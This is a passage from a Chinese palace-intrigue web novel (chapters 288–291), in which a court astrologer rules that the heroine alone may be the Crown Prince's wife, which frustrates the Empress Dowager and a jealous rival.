“臣妾是为了太子的身体着想!”皇后蹙眉看着太后,语气也比先前冷漠了几分,“臣妾自己说的话自己承担后果,太后不必把什么错都推到御王妃的身上!”
“你要气死哀家吗?”太后指着以前和自己相处融洽,即便是儿子生病命不久矣,自己这个又当婆母又是姨母的太后明知道她当时因为贵妃跋扈过得不好,却从来不曾帮她出气她依旧对自己孝顺的皇后,“你瞧瞧你如今都变成什么样了?你以前可从不会反驳哀家说的话的,现在为了这女人,你都顶撞哀家多少次了!”
“臣妾只是担心御儿的身体,并不是因为御王妃才顶撞母后的。”皇后依旧不松口。
站在太后身后的孟若瑶见皇后如此维护姜黎婳,竟然为了姜黎婳如此顶撞太后,甚至一点都不顾及镇国侯老夫人与承恩伯府的关系,非要帮姜黎婳,她双手气得死死的揪住自己的衣袖,眼
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底的恨意也越发的浓烈了。
这个恶毒的女人!到底什么地方对不起她了,她竟然宁愿帮着一个低贱的商贾之女也不愿意帮自己嫁给太子!
看来自己若是用计谋嫁给了太子,将来也不会受这个皇后喜欢!看来自己得想办法把这个有能力抵抗太后的皇后给先除掉!
坐在一旁看戏的贤妃一直都盯着孟若瑶的一举一动,此时瞧她用余光看了皇后好几眼,就知道她没有安好心,她眉梢微动,勾唇道,“孟小姐欲言又止的是想说什么吗?”
孟若瑶猛地抬头看向贤妃,难道这个**猜到自己想要做什么了?还是说她刚刚心头的想法被这个**察觉到了?不会不会,她先前只是在心头想的,并未表露出来,这个**定然是在诈自己!
瞧着孟若瑶如此震惊的模样,贤妃眉梢微挑,说实话这个孟若瑶怀是怀,也的确能隐藏自己的心思,但是比起淑妃的演技还是差远了。
她在怀疑淑妃之后能轻易的察觉淑妃的心思,如今本就看不惯孟若瑶,孟若瑶那点心思就更瞒不住她了。
淑妃在御王妃嫁给御王之前,都把自己隐藏得很好,可这个孟若瑶是一点都不隐藏自己想要嫁给太子的心思,所以就很容易暴露她自己的想法,就用现在来说吧,她一定恨**帮御王妃说话的皇后。
想到这里,贤妃嘴角勾起一抹似笑非笑的弧度,她冲孟若瑶挑了挑眉,“难道你一个未出阁的女子也想过问太子选侍妾的事情了吗?”
孟若瑶脸色骤然变得惊慌起来,她扑通一声跪在地上,“贤妃娘娘,臣女一直站在太后身边从未说话,不知是做了什么让您如此误会臣女。”
“本宫瞧你欲言又止的看了皇后好几次,难道不是想帮太后和皇后出出主意?”贤妃轻哼,“还是你只是对皇后说的话有意见?难道你有什么更好的办法避免太子度过二十岁之前的劫难?”
“不如找钦天监吧。”坐在一旁的姜黎婳看了一眼跪在地上的孟若瑶,又面无表情地抬眸看向太后,“既然太后如此想给太子殿下选侍妾,不如叫钦天监的人过来问问,若他们说可以为太子选侍妾,臣妾定然会听从太后的旨意,为太子选侍妾。”
第288章 没那么简单
姜黎婳这话一出,所有人包括跪在地上的孟若瑶都把目光放在了她的脸上,太后眯眼审视了姜黎婳好一会儿,确定姜黎婳没有丝毫心虚之后,这才沉声道,“去把钦天监的监正传到慈宁宫来。”
说罢像是不想见到皇后等人一眼,对翠娘招了招手,翠娘连忙过来扶着太后起身,太后淡淡地睨了姜黎婳等人一眼,沉声道,“哀家有些乏了,进去歇息片刻,等钦天监的人过来了,你们再让人进来唤哀家。”
皇后等人自然应是,太后往内殿而去,走了几步,她脚步微顿,回头看向还跪在地上的孟若瑶,淡淡道,“若瑶,你随哀家进来,给哀家捏捏肩。”
孟若瑶应了声是,连忙爬起来快步跟着太后进了内殿。
贤妃瞧着孟若瑶跟着太后离开的背影轻轻哼了一声,这才对皇后姜黎婳道,“这太监去钦天监,来回也需要些时间,不如咱们也出去外面走走?”
皇后知道贤妃这么说,定然是有话要对她和姜黎婳说,就点头应了下来,“走吧,今儿个阳光明媚,的确适合在花园中散步。”
三人走出慈宁宫,贤妃就拉着皇后的手道,“娘娘您先前这样顶撞太后,以后太后怕是不待见你了,还有那孟若瑶怕是自此要恨上你了。”
姜黎婳立刻识趣地接话,“都是儿臣连累了母后。”
皇后听姜黎婳这么说连忙拉着姜黎婳的手道,“本宫先前说的那些句句都是心里话,本宫顶撞太后也不是因为你,而是为了御儿,一来本宫的确担心御儿的身体会出现差错,如今他体内的毒是解了,但是世事无常,谁又知道会不会有其他的意外?二来嘛,是御儿跟本宫说过,他此生只会有你这一个妻子,本宫这个做母后的,又怎么会和他作对?”
姜黎婳有些动容地抬眸看着皇后,“母后不觉得殿下只娶我一个妻子有违祖训吗?”
“本宫之前的确是这么想的,自古帝王三宫六院妃嫔无数,却从未见那个帝王只有一个妻子的,但是御儿却很坚定的只选择你。”皇后拍了拍姜黎婳的手,语重心长的看着她,“本宫如今都说服自己了,也希望你不要因为旁人随意放弃如此坚定选择你的御儿,更不要因为旁人的挑拨把御儿推得越来越远,可以吗?”
贤妃也跟着拉起姜黎婳的另一只手,她笑看着姜黎婳,“你与明瑶差不多大,本宫第一次见你就莫名的喜欢,今后无论什么事本宫和皇后都会帮你,你只管好好的待在太子身边,其他的魑魅魍魉若是你对付不了,还有本宫和皇后在呢,你也不必太担心。”
听他们两人都这么说,姜黎婳忽然觉得鼻子有些发酸,她眼眶微红的看了两人一眼,低声道,“多谢母后和贤娘娘,婳儿不会辜负你们的。”
皇后笑着拍了拍她的手,贤妃伸手为她擦干眼角的泪水,语气有些担忧,“先前你不该这么莽撞的,这钦天监的监正为人正直果敢,是什么话都敢说的,他既然当初能推算出你能为太子冲喜,那将来这次也自然是能推算出太子是否能纳妾的,且他是个从来不受外力干扰的人,向来是推算出什么就说什么,你怎么能他过来呢?”
姜黎婳微微一笑,“所以我才会让太后请钦天监的监正过来,如今殿下才刚过了十九岁的生辰不久,若钦天监的监正都说了要等他过了二十岁才能选妾的话,那也能给我和殿下争取好几个月的时间了。”
姜黎婳说到心忽然一麻,她和楚御礼的婚事是因为钦天监算命格和八字,说她们两人的命格极为契合,可是这一世因为自己穿书而来,且带了以前的记忆,才求着师父跟着师父学了医,那原主呢?
若原主当初顺利嫁给了楚御礼,那她又要用什么方法帮楚御礼?
姜黎婳忽然觉得一阵头疼,她闭上眼睛,脑海中又出现一幕幕不曾在她脑海中出现过的画面,她忽然觉得呼吸困难,心脏也像是被什么东西揪着一样,疼得她根本承受不住,她抽回被皇后被贤妃牵着的手,伸手捂着心脏缓缓蹲了下去。
她这是怎么了?
那些出现在原书中的画面为什么又再次出现在她的脑海中了?
皇后和贤妃两人被她苍白的脸色吓了一跳,看到她额头上的细汗,贤妃眉头紧紧地皱了起来,她拿出帕子给姜黎婳擦汗,担忧地问,“是不是哪儿
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不舒服?”
心头的疼痛和麻痹感从她蹲下来之后很快消失不见,她的呼吸也逐渐顺畅起来,姜黎婳轻轻对着担忧地查看她情况的皇后的贤妃摇了摇头,“没事,可能是没有用早膳的缘故,有些胃疼。”
“既然人不舒服就不必等...”
“母后,儿臣现在已经没事了。”姜黎婳站起来,拉着皇后的手,微微一笑,“请钦天监监正过来是儿臣的主意,儿臣怎么能不在呢。”
皇后担忧地看着她,“你能撑得住吗?我瞧你脸色着实不好。”
“是啊,人不舒服就先回去,太后那里有本宫和皇后替你挡着,你也不必害怕。”贤妃怜惜地摸了摸姜黎婳苍白的脸颊,“是不是上次小产之后没有养好,所以才会...”
“不是。”姜黎婳轻轻摇头,“儿臣昨夜和太子夜游金河。”她脸色微红,垂眸羞涩地道,“在画舫喝了点酒,今早没有胃口,所以没有用早膳,就是胃疼了,一会儿喝点热水就没事了,您不用担心。”
瞧着姜黎婳羞涩的模样,皇后和贤妃两人不用想都知道两人应该在船上做了什么事情。
皇后轻笑着拍了拍姜黎婳的手,“上一个孩子因为淑妃的缘故没有保住,你们夫妇感情如此好,想来应该很快就会有第二个孩子的。”
姜黎婳:“......”
您不说,我都差点忘记我玩过假孕了。
她尴尬又不失礼貌地笑了笑。
看出姜黎婳的尴尬,贤妃害怕皇后这话让姜黎婳有压力,笑着解围,“现在时辰也还早,钦天监那边过来慈宁宫也没有那么快,不如去御花园中坐坐,顺便让御膳房送点担心过来,让婳儿先吃点点心?”
皇后颔首,“如此甚好。”
姜黎婳瞧两人如此为自己着想,心头对两人的感激更深了几分,只是她现在除了吃东西和听钦天监那边怎么说之外,最想弄清楚的是自己和原主究竟有什么牵扯。
越来越多的梦境和画面的出现,还有心头那股感觉,让她觉得自己可能并不是简单的因为气愤出车祸穿书那么简单。
这中间一定还有其他什么牵扯。
第289章 钦天监监正
大半个时辰后。
慈宁宫中。
太后沉着一张脸坐在主位上,皇后、贤妃两人带着姜黎婳坐在她左下侧的红木椅上,孟若瑶依旧乖巧地站在她身后。
钦天监监正是一个年近六十的老头,可能钦天监的压力比其他职位要大一些,这老头虽然才不到六十岁,但是头发已经全白了,胡须也是,加之他身材清瘦眼神清明,倒是给人几分清风道骨的感觉。
给殿中几个贵人行礼问安之后,他才站起身问太后,“不知太后娘娘宣微臣过来是有何要事?”
太后看了一眼监正,淡淡道,“当初是你算出给太子冲喜之人的命格,如今太子身子已经无碍,哀家就是要问你,如今若是重新给太子选妃,是否会冲了因冲喜给太子带来的福气。”
监正眉头微蹙,他偏头看了姜黎婳一眼,姜黎婳对他微微一笑,“劳烦大人为太子殿下算算。”
“骆大人,当初太子病重太医院说他活不过二十岁,是你算出了婳儿的生辰八字能为御儿冲喜,并且延续寿命,如今就又劳你算算,若婳儿现在离开太子或者太子重新娶妻,是否会影响太子的命格。”皇后也笑着对监正道。
骆阳眉头彻底紧皱,他当初应该说的不只是这些吧?他说大皇子若是娶到那个命格之人,那不仅可以冲喜,还可以延续寿命,不过他是不是没有说太子若是离开那个女子,就是短命之人?
哦,没说过。
他只说了冲喜能让当时的大皇子度过二十岁甚至延绵益寿长命百岁,没说若是他的媳妇换人了,他会死。
看样子这皇宫是要过河拆桥了?
现在看太子性命无忧,加上太子妃...不对,现在还是御王妃,没封太子妃呢,加上御王妃又名声有损,所以他们想重新给太子选妃,想把太子妃给一脚踢了?
他的大拇指快速在其他的手指上掐算,脑子飞快运转...
孟若瑶瞧着他那一副深沉的模样,嘴角勾起一抹浅淡的弧度,姜黎婳我看一会儿钦天监监正算出结果来了,你又要用什么借口搪塞!这次谁都无法阻挡我进入东宫!
太后瞧着骆阳那掐算的模样,眉头紧紧地皱在一起,脸色也越来越沉着,看着骆阳脸色越来越不好的样子,她冷冷道:“怎么还需要掐算那么久?”
骆阳没理他。
太后脸色更差了。
她想呵斥正在掐算的骆阳,却被皇后站起来阻止了,皇后笑着走到太后面前打断太后的话,“这骆大人正在掐算,母后,咱们都知道骆大人的实力的,您不必急着催促骆大人,相信骆大人掐算清楚了,会告诉我们答案的。”
姜黎婳坐在那里静静地看着能掐会算的钦天监监正,她现在倒是不害怕这个钦天监监正会算出其他什么,而是在想,若这个监正真的那么厉害的话,她是不是可以去找她问问他,她心头的那些疑惑?
他能不能为她解答?
她能来到这里本就是玄学,所以身上还能发生其他玄之又玄的事情,也未尝不可...
一刻钟后。
骆阳放下手指,看向姜黎婳,一脸严肃,“臣以前给太子殿下算命的时候就曾说过想要延绵益寿长命百岁的话,他的正妻之位就只能是御王妃,若换成旁人的话,恐遭反噬。”
姜黎婳眉梢微挑,她还真的有这种玄学在身上?她当初以为自己嫁给他,能帮他改变命运不过是因为她会医术,能发现他是**,为他解毒呢。
现在看来,她还是一个有气运在身的福女了?
众人听到骆阳这话神情各异,太后和孟若瑶的脸色都猛然变差,孟若瑶更是不可置信,她猛地抬头看向姜黎婳,凭什么,这个连名声都没有了的女人竟然还敢肖想太子妃之位?
太后则狠狠地捏紧了自己的手,楚御礼的正妻之位?那岂不是说以后若他登基了,这姜黎婳还必须是皇后了?
皇后和贤妃两人的脸上皆是露出了笑容,两人对视一眼然后看向好像意料之中的姜黎婳,皇后笑着道:“本宫就知道你是个有福气的。”
“什么福气!”太后厉声呵斥,“她若有福气,会被人掳走了,还差点成亲?”
骆阳听了太后这话眉头皱了皱,他看向姜黎婳,片刻后沉声对太后道,“御王妃的福气纯正,若是遭遇了传言之中的那些事情,她的福气不会还如此纯正的,太子殿下也不会一直平安
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无事,想来那些都是旁人为了故意破坏御王妃的名声,想要让她离开太子殿下故意散播的谣言。”
骆阳说到这里朝太后和皇后两人拘礼,“太子殿下若是想要长命百岁,此生顺遂,唯一的办法就是把御王妃留在身边,并为正妻,因为夫妇为一体,御王妃的福气就是太子殿下的福气。”
姜黎婳嘴角微抽,真的这么玄乎啊?她是福星?她是福星还遇到那种父母?两世的亲生父母都不是好人!
太后阴沉一双浑浊的眼睛,她目光在姜黎婳脸上扫了一圈,然后落在骆阳身上,“那为太子纳妾或者纳侧妃呢?”
骆阳蹙眉,“微臣不建议给太子殿下身边送人,会影响气运。”
“一派胡言!”太后气得狠狠地在手边的矮几上一拍,“不是正妃又怎会影响气运了!”
“臣算出来的。”骆阳一脸高深地看了太后一眼,不卑不亢地说道,“送到太子身边的女子都会对太子爱而不得,因爱生恨,得不到就毁掉,最后让太子陷入必死之地。”
“胡说八道!”孟若瑶猛地厉喝道,她指着姜黎婳,“你是不是买通了这个人?姜黎婳!为了独霸太子殿下,你真的是无所不用其极啊!”
太后听到孟若瑶这话,眼睛一眯,冰冷的看向骆阳,“你是不是被御王妃收买了?”
骆阳气得狠狠甩袖,“微臣自入朝为官以来想来两袖清风,只为观天象、算历法,从不与人结交!当初就算算出御王妃的命格是最适合为嫁给大皇子之人,也没有见过御王妃!今日是微臣与御王妃第一次见面!何来收买一说!若是太后娘娘不信微臣,那大可不必相信微臣今日说的话,微臣亦可立刻向陛下请辞告老还乡!”
他说罢就要去揭下头上的乌纱帽,皇后见状连忙上前压住他的手臂,沉声道:“骆大人万万不可,本宫相信你,若不是你,太子早就没命了,太子如今能当太子,全是当初本宫和陛下信了你的话,为他娶了婳儿为妻。”
骆阳冷冷的哼了一声,“微臣做事向来光明磊落,这些年来也从未替他人推算命运,唯一的破例就是太子殿下,如今因为这次破例,倒是被人恨上了!”
第290章 青梅的战斗力
之前若不是因为推算出楚国国运将尽,他为了找出破解之法,才不会去推算几个皇子的命格,更不会为大皇子找出破解命短命之法!
如今这太后竟然为了一己私利,说他被收买了?简直气煞他也!早知道会被这样冤枉,他还不如干脆跟着师父去游历山海,等十几年后江山易主,等他们楚家人自己去哭吧!
太后被他的信誓旦旦给气惨了,她知道皇帝向来信任这个骆阳,而骆阳此次推演天象都很准,皇帝是绝对不可能让他辞官的!她现在若真的让着骆阳辞官的话,怕是会和皇帝生了嫌隙。
她伸手捂着胸口,厉声对着皇后等人道:“你都退下吧,哀家乏了,要休息了。”
皇后带着姜黎婳和贤妃告退。
孟若瑶见他们四人就这样大摇大摆的走了,她气得狠狠地揪住手中的帕子,委屈巴巴地回眸看向太后,轻声道:“姑祖母,您真的相信那个骆大人的话了吗?”
若这样,那她还要怎么嫁入东宫?
太后此时本来心情就不好,还要听孟若瑶这样质问,她当即冷声道:“就知道哭哭唧唧的!哀家动不得她的正妃之位,难道太子侧妃之位,哀家还做不得主了吗?行了,你先回去,哀家乏了。”
孟若瑶委屈地应了声是,抬步离开。
侧妃?
姜黎婳不过是买通了那个死老头,让那个死老头胡说的,这个老太婆就相信了?先前承诺她的太子妃,现在要变成侧妃了?那不是说她即便嫁给了太子,也是妾!也要给姜黎婳伏小做低?
凭什么!她才不要给姜黎婳那个商贾之家出生的低贱之人伏小做低呢!
宫门长廊中。
姜黎婳慢悠悠的走在前年,身后是青梅在叽叽喳喳地说个不停,“我就说小姐你是有福气的,您才几岁的时候就让咱们家成为了江南首富,您每和大公子开一个店铺,那家店铺的生意就会特别兴隆,没想到您就是传说中的福星转世呀!”
姜黎婳现在还在想骆阳先前说的那些话,楚御礼的正妻必须是他,若是她离开他的话,他就不能长命百岁了?那她之前差点离他而去,是不是差点害死他了?
“姜黎婳!”
姜黎婳想得正出神,一个冰冷又带着一些怨怼的声音忽然喊住她。
姜黎婳回头看了一眼,不出她所料,是孟若瑶。
姜黎婳假装没听到,给青梅使了个眼色,继续往前走。
孟若瑶见姜黎婳居然无视她,她气急败坏的提着裙子朝着姜黎婳追上来,直接拦住了姜黎婳的去路,现在她直接不掩饰自己的想法了,冷笑着朝姜黎婳道:“你以为你使用这些小伎俩就可以留住太子殿下的心了?我告诉你我绝对不会让你得逞的!”
姜黎婳眉头微蹙,简直懒得和这种讲道理都讲不通的女人说话,她侧眸看了青梅一眼,挑眉道,“青梅,上。”
早就蓄势待发的青梅听到自家小姐的吩咐,卷起手袖就冲到自家小姐前面冲着孟若瑶大声骂道:“怎么啊?现在上赶着给别人当小妾的人气焰都这么冲了啊?知三当三的小贱蹄子还在正主面前嚣张上了?”
“你们承恩公府没有交过你们廉耻二字怎么写的吗?”青梅说着双手在空中一拍,不屑地冷哼,“可惜了,无论你如何倒贴,我们太子殿下都瞧不上你的!也不悄悄自己长得什么模样,就你这样还想撬我们王妃的墙角?省省吧!”
姜黎婳瞧着战斗力十足的青梅,眉梢微扬,看来楚御礼说的没错,带着这丫头出门,吵架的话,她不会吃亏!
而孟若瑶听着青梅这些话,脸色早已经变成了青紫色,她抬手就要打青梅,青梅眼疾手快一把抓住她的手,继续发挥,“瞧着你生得秀秀气气的,做的事情怎么都如此不地道呢?尽想着做一些龌龊之事!非要盯着旁人碗里的!怎么别人碗里的饭好吃一些啊?这么喜欢吃别人的碗里的饭,怎么不去当乞丐啊?”
孟若瑶被气得双目通红,她狠狠地抽回自己的手,嘶声喊道:“来人啊!你们是**吗?把这个敢辱骂本小姐的贱婢狠狠地掌嘴!”
跟着孟若瑶入宫的婢女这才后知后觉的反应过来上前帮孟若瑶拉着青梅,抬手就要去打青梅的脸。
“本王妃看谁敢!”姜黎婳上前一把抓住孟若瑶婢女的手使劲一推,脸色冰冷的看着气急败坏的孟若瑶,“孟小姐能做这些事情,还害怕别人说了?怎么?我的婢女说的那些实话戳到你的痛处了,所以你现在气急跳脚了吗?”
“姜黎婳!你得意什么?”孟若瑶恶狠狠的瞪了姜黎婳一眼,“我们走着瞧!”
她说完狠狠地甩开青梅的手,转身大步朝宫外走去。
“略略略!”青梅朝着她的后背吐舌头,不屑地朝孟若瑶翻了个白眼后,她阴阳怪气的重复了孟若瑶刚刚的话,“我们走着瞧~”
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说完她扶着姜黎婳往外走,一脸不爽,“还世家小姐呢,如此不要脸!这在我们江南,若是勾引有妇之夫,那是要被万人唾弃的,她还好意思出来显摆了!看着就恶心。”
姜黎婳瞧着青梅这古灵精怪的模样实在是觉得好笑,她伸手轻轻地敲了青梅的额头一下,“别贫了,回府。”
傍晚,姜黎婳坐在桌边等楚御礼回来用晚膳,外出回来的楚御礼进屋忽然抱起她就转起了圈,姜黎婳不明所以地笑着拍他,“快放我下来。”
楚御礼笑着把她放下来,姜黎婳站稳了身子才问他,“何事如此开心?”
“自然是因为我家娘子聪明啊,竟然一招就解决了不少麻烦,早知道钦天监如此好用,为夫何须在外如此奔波,直接让钦天监再为为夫算上一卦了。”
楚御礼把姜黎婳拉到自己的腿上坐下,“为夫之前为何没有想到让钦天监再为为夫算上一卦?这样就不必自己去惹父皇不快了。”
姜黎婳:“......”
今日她如果不是被逼得急了,也想不到钦天监那儿去。
翌日。
姜黎婳和楚御礼还未起身,知夏就匆匆从外面敲门进来,“太子殿下,王妃,不好了,现在外面传言,皇上要给太子殿下选妃,过几日就要举办春日宴了。”
楚御礼睁开眼睛,侧首看着跪在地上的知夏,“谁说的?”
“外面都在传。”知夏看向已经撑着身子坐起来的姜黎婳,抿嘴道:“王妃,您没事儿吧?”
楚御礼回眸看向姜黎婳,“我马上去宫中问问怎么回事。”
姜黎婳眉梢微挑,看来太后这是着急了啊?这还没春闱呢,都要春日宴了!
昨天那钦天监的监正那些话刺激到太后了?
“这都是传闻,不一定是真的。”姜黎婳重新躺回床上,如今天气虽然在回暖了,但是还是适合睡懒觉啊,她要趁着如今还未住进东宫,不用每日去给皇后她们请安,好好的补觉。
“可是京城如今从楚国各地来了不少秀女。”知夏抬眸小心翼翼地看了一眼楚御礼的脸色,又低着头道:“这些都是真的。”
楚御礼眼睛一眯,眼底闪过一丝冷光,看来他那皇帝老子还会当面一套背地一套了?他以为把那些女人都弄到京城来,他就会就范了?
他坐起身来,穿好衣裳,对姜黎婳道,“我去处理,你好好休息。”
第291章 帝后争执,楚御礼的馊主意
皇宫。
皇后听到消息之后几乎是立刻就带着人往御书房去了。
皇帝见到已经很久不主动来找自己的皇后忽然过来,他眉梢微挑,放下手中的奏折等着皇后靠近,等皇后走近了,他才温声问,“皇后怎么这个时辰过来了。”
现在还不到午膳的时间,皇后以往这个时辰很少过来的。
皇后脸色不好,甚至说是难看,她给皇帝行礼之后,才红着眼问皇帝,“陛下难道真的要看着御儿**才甘心是吗?”
皇帝被皇后这莫名其妙的质问弄得脸色一沉,他重新拿起奏折看了起来,语气也比之前低沉了几分,“皇后如果过来就是质问朕的,那你还是回去吧。”
“陛下!”皇后又往前走了几步,激动地说道,“臣妾不信昨日慈宁宫的事情没有才传到您的耳朵里面!昨日骆大人已经亲口说过了,若想要御儿长命百岁的话,他的正妻之位必须是婳儿的!而如果想要不破坏这份福泽的话,他身边最好是不要纳妾!”
皇帝眉头微蹙,这件事情倒是的确传入他耳里面了的,而且他还特意把骆阳传到御书房中单独问过了。但是他什么时候做了什么让皇后觉得自己要给御儿重新娶妻或者纳妾了?
他合上奏折,看向皇后,正要说话,就听皇后道,“现在御儿二十岁的坎都还没过呢!陛下就这么迫不及待的想要看看骆大人说的是否是真的了吗?骆大人的推算想来都准,陛下难道亲眼看到自己的儿子**吗?”
“皇后!”皇帝猛地把手中的奏折拍在桌案上,站起来对着皇后厉声呵斥,“朕这些日子是不是太过纵容你了!你竟然敢如此质问朕!”
“御儿是臣妾的儿子,臣妾心疼他!”皇后红着眼抬头看着皇帝,她一脸倔强,语气强硬,“以前臣妾什么事情都顺着皇上,但是在御儿健康这件事情上,臣妾是绝对不会退步的!”
皇帝一脸莫名其妙,这皇后这是怎么了?他既然答应了御儿暂时不会给他册封太子妃和纳妾,就绝对不会才过去两日就食言,她一大早忽然跑过来质问他究竟是为什么?
“朕到底什么时候说过要给他纳妾了?”皇帝负手站在那里,厉声对着福清道,“福清,你来告诉皇后,朕昨日和今日到底说过那些话没有!”
福清连忙弓着身子上前笑着给皇后道,“皇后娘娘,昨日今日陛下都忙着处理政务,的确没有说过要给太子殿下封太子妃和纳妾的话。”
“那京城那些秀女还有春日宴的传闻到底是哪儿来的?”皇后冷笑,“如今京城之中已经**了来自楚国各地的秀女,听闻那些秀女都是来参加春日宴的!而春日宴不是陛下给御儿选妃的吗?”
皇帝脸色一僵,他缓缓回头看向福清,想起来了,元宵晚宴那日因为被楚御礼送的大礼气到了,他就让福清拟旨让楚国各地的官宦子女适龄的都进京参加选秀为太子选妃...
如今时间已经过去一个多月了,算算时间,那些来自各地的秀女应该就是这两日入京。
福清也想起来了,他有些为难地抬头看向皇后,低声道,“哎哟皇后娘娘啊,这误会大了,这些秀女是一个月之前太子殿下还未回京的时候陛下下旨要求入京的。”
“那如今陛下要如何收场?”皇后冷笑着抬眸看着皇帝,“若您敢用御儿的性命做赌,非要给御儿选一个太子妃,那臣妾就算不当这个皇后了,也要...”
“够了!”皇帝冷声打断皇后的话,沉声道:“你如今倒是越来越厉害了,都学会威胁朕了!朕什么时候说过要用御儿的性命做赌注了?”
若说之前他还贼心不死的想要利用缓兵之计等自己的大儿子厌倦身边的那个女人之后再一封圣旨休了那个女人,重新给他册封太子妃,那在昨天把骆阳叫道御书房中问过之后,他也歇了那种心思。
毕竟现在能继承他大统的儿子就那么一个了,而骆阳的推演向来没有出过错,他是绝对不会拿这个有头脑有谋算又有胆量的儿子来开玩笑的。
“那现在那些秀女陛下要怎么办?”皇后脸色阴沉,语气之中带着一丝不易察觉的冷意,“秀女已经从全国各地过来了,陛下难道又让她们离开吗?”
皇帝蹙眉,这件事情
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倒是的确让人难办。
在外面把帝后两人的对话停了一大半的楚御礼这时候才抬步走了进来,给两人行礼之后,他站起身来,皇帝脸色不好的横了他一眼,沉声道,“你也是来朕这儿兴师问罪的?”
“儿臣自是知道这其中一定有误会,毕竟父皇向来言而有信,是绝对不会在前日刚答应了儿臣今日就反悔的事情来。”楚御礼皮笑肉不笑地抬眸与皇帝对视,“现在看来儿臣预想没错。”
“但是如今秀女都入京了,这还能事情要如何收场?”皇后脸色难看,她拉着楚御礼的手拍了拍,“如今你还未过二十岁的生辰,即便只是给你纳妾,我也是绝对不同意的!”
昨日钦天监骆阳所说的那些话还在耳畔回响,若她之前站在儿子这边只是被贤妃的那些话说服了,那现在她就只是为了能让儿子活下去。
毕竟儿子也的确是在娶了婳儿之后身子才逐渐好转到如今这样身体康健的,她绝对不会用自己儿子的身体去冒险!
“父皇的后宫不是很久没有添新人了吗?”楚御礼垂眸看向皇后,嘴角微微一勾,眼底却没有一丝笑意,“既然秀女已经到了京城,那就给父皇的后宫添置一些新人吧。”
他先前可是在外面听得一清二楚,这些秀女是在他给自己的好父皇献上元宵贺礼之后才被喊进京的,那想来当时他这个好父皇必定被气得不轻,而他选择气这个好父皇的起因也并不是什么好事。
当时若自己没有保护好婳儿,婳儿**,那如今他是不是也性命堪忧了?
皇帝的脸色在听到楚御礼这个馊主意之后更难看了,他猛地拍桌,“朕都什么年龄了!还选什么妃嫔?”
“去年宫中发生了那么多事情,宫中又没了好几个妃嫔,陛下的确可以为后宫添新人了。”皇后脸色也不是很好看,不过想到皇帝这些年已经脏了,她不介意他更脏一点,反正如今皇帝一年也不去她的凤仪宫几次,大不了到时候她受不了的话,就再找身子不适为由推脱了就是。
皇帝听到皇后这话,还放在桌案上的双手逐渐收拢捏紧成拳。